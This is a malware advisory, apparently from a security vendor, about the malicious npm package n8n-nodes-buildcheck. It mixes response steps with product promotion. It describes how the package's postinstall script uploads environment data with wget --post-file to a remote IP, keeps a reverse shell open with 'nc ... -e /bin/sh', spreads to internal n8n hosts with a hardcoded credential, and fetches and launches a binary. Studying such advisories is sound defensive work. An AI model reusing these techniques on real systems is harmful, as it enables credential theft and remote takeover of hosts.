n8n-nodes-buildchecknpm
n8n-nodes-buildcheck is a confirmed malicious npm package (MAL-2026-16177) that steals credentials and exfiltrates sensitive data (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in n8n-nodes-buildcheck (npm)
What this malware does
On npm install, postinstall.js collects the full environment, id, hostname, and /proc/1/cgroup/status into /tmp/.be and uploads it via wget --post-file to http://121.127.33.228:8443/env2. The same postinstall spawns a detached loop that repeatedly runs nc 121.127.33.228 443 -e /bin/sh with a 7-second reconnect interval, giving the remote party a persistent unauthenticated shell on the installer's host. It also attempts to authenticate to an internal n8n instance at http://10.0.3.2:5678 using a hardcoded credential and invokes /rest/nodes/community/install with verify:false to install a sibling package n8n-nodes-sysdiag2, extending compromise to adjacent n8n hosts. When n8n loads the community node, dist/SysDiag.node.js wgets an opaque binary from http://121.127.33.228:8444/mn8n2 into /tmp/.mn2, chmods it executable, and launches it detached.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for n8n-nodes-buildcheck (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging n8n-nodes-buildcheck across your stack and pipelines.
If you installed it — respond
n8n-nodes-buildcheck is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If n8n-nodes-buildcheck was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks n8n-nodes-buildcheck before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks n8n-nodes-buildcheck-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.